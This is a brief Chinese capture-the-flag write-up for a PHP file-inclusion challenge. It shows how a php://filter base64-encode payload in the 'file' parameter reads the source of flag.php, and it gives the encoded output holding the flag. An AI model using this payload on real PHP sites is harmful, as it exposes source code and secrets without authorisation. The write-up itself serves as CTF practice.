传入一个file试试，尝试/?file=3
提示flag 在flag.php中，但是无法直接读出flag.php - 原因是由于flag.php中不具有echo相对应的输出语句，应该是仅具有$flag变量的定义。因此，采用php伪协议进行输出
?file=php://filter/convert.base64-encode/resource=flag.php
得到PD9waHANCiRmbGFnPSdOU1NDVEZ7Njk4MGY2OTctNzE0OC00M2FlLWFjZmUtNjk2OWZjMzdkNTgwfSc7
进行base64解密即可